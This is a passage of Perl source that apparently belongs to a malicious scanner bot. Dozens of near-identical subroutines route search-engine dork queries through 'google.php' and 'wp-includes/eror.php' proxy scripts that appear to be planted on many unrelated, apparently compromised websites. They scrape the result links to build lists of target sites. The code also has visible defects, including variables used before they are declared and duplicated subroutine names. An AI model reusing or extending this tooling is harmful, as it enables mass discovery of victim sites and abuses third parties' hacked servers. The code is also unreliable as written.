                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGCO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.aofep.org/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGAU() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.ozalpayhospitality.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGRU() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.concours-outremer.org/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGPL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.eventcouk.com//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGIL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.cihanhacihan.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGJP() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.the-power-service.co.uk/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGCN() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.forklift.satellite-gt.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGIN() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.goudswaardfotografie.nl/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGKR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.petrelladesigns.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGRO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.mariobabiera.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
           if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub GOOGZA() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.ericolympico.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub jackcom() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.discoverymediabd.com/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.com.mx%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.com%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jacktw() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://physica.org.ua/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.com.ua%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.tw%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackeu() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.mariafernandapalma.com.ar//wp-includes/eror.php?q=http%3A%2F%2Fwww.google.com.ar%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.eu%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackse() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://construiestecucap.ro//wp-includes/eror.php?q=http%3A%2F%2Fwww.google.se%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.se%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackau() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://datthanh.byethost13.com/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.au%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackorg() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://kinorange.ru/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.de%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.org%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackpl() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.ddre.lv/web//wp-includes/eror.php?q=http%3A%2F%2Fwww.google.lv%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.pl%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackru() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://pre.basketnews.lu/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.lu%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.ru%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackmy() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://careerscounsellor.in/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.co.in%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.my%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jacklv() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.eders.tv/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.pl%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.lv%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackkr() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://electionmo.ru/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.ru%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.kr%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackdk() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.wartoy.it/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.it%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.dk%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackde() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://travelinasian.com/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.de%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackcl() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://mf-time.ru/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.cl%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.cl%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackro() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://perfectlyhappy.ru/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.com.ua%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.ro%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub jackes() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://loshermanosnintendo.rompemandos.es/wp-includes/eror.php?q=http%3A%2F%2Fwww.google.es%2Fsearch%3Fq%3D".key($key)."%2Bsite%3A.es%26num%3D100%26start%3D".$i);
        my $res = search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/(.*?)" class/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub pagina(){
    my @list;
    my $key = $_[0];
    my $i   = 0;
    for ($i=0; $i<=100; $i+=1){
        my $web=("http://startgoogle.startpagina.nl/index.php?q=".key($key)."&start=".$i."&origin=homepage&source=geentaal");		
        my $Res= search_engine_query($web);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /pagina|pagina's/){
                my $k=$1;
                my @grep=links($k);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub kvasir() {
    my @list;
    my $key = $_[0];
    for (my $i=10; $i<=1000; $i+=100){
        my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".&key($key)."");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
            my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
            }
        }
    }
    return @list;
} 

sub googleDE() {
    my @list;
    my $key = $_[0];
       my $search = ("http://www.karenblankenshiplive.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleUK() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.vanwack.com/tattoo1/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleFR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.pvcproject.reecezone.net/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleES() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.alexoloughlin.es/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleIT() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.btbb.org//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleNL() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.drjafri.com/blog//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleSE() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.mariobabiera.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) { 
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub sizuka() {
	my @list;
	my $key = $_[0];
        my $b   = 0;
	for ($b=10; $b<=100; $b+=10) {
        my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
            if ($1 !~ /szukacz/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleNO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.karenblankenshiplive.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}


sub googleBR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.plugcreativity.org//google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleCO() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.aofep.org/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub google3() {
		my @list;
		my $key = $_[0];
        my $search = ("http://gestion-tripartita.es/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google4() {
		my @list;
		my $key = $_[0];
        my $search = ("http://gestion-tripartita.es/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google5() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.lamp.demo321.com/demo/braten/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google6() {
		my @list;
		my $key = $_[0];
        my $search = ("http://belicosa.com.br/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google7() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.turnerhealthbenefits.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
	  	    if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google8() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.vanwack.com/tattoo1/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub google9() {
		my @list;
		my $key = $_[0];
        my $search = ("http://qaiyumohamed.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googlea1() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.paulmihaipavel.net/google.php?key=".key($key));
        my $res = &search_engine_query($search);
  		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googlea2() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.mickmeaney.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleC1() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.clearandcreative.co.uk/google.php?key=".key($key));
        my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleC2() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.ericolympico.com/google.php?key=".key($key));
        my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleC3() {
		my @list;
		my $key = $_[0];
        my $search = ("http://brooklinenetworks.com//google.php?key=".key($key));
        my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleC4() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.drjafri.com/blog//google.php?key=".key($key));
        my $res = &search_engine_query($search);
while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleC5() {
		my @list;
		my $key = $_[0];
        my $search = ("http://www.quintadatos.cl/google.php?key=".key($key));
        my $res = &search_engine_query($search);
      while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
            my $link = $1;
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    return @list;
}

sub googleDE() {
    my @list;
    my $key = $_[0];
       my $search = ("http://www.bl.net/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleUK() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.gestion-tripartita.es/google.php?key=".key($key));
        my $res = &search_engine_query($search);
		while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m/<a href=\"http:\/\/(.*?)\">/g || $res =~ m/u=http:\/\/(.*?)\//g) {
            my $link = $1;
            if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){
                my @grep = links($link);
                push(@list,@grep);
           }
        }
    return @list;
}

sub googleFR() {
    my @list;
    my $key = $_[0];
        my $search = ("http://www.drjafri.com/blog/google.php?key=".key($key));
        my $res = &search_engine_query($search);
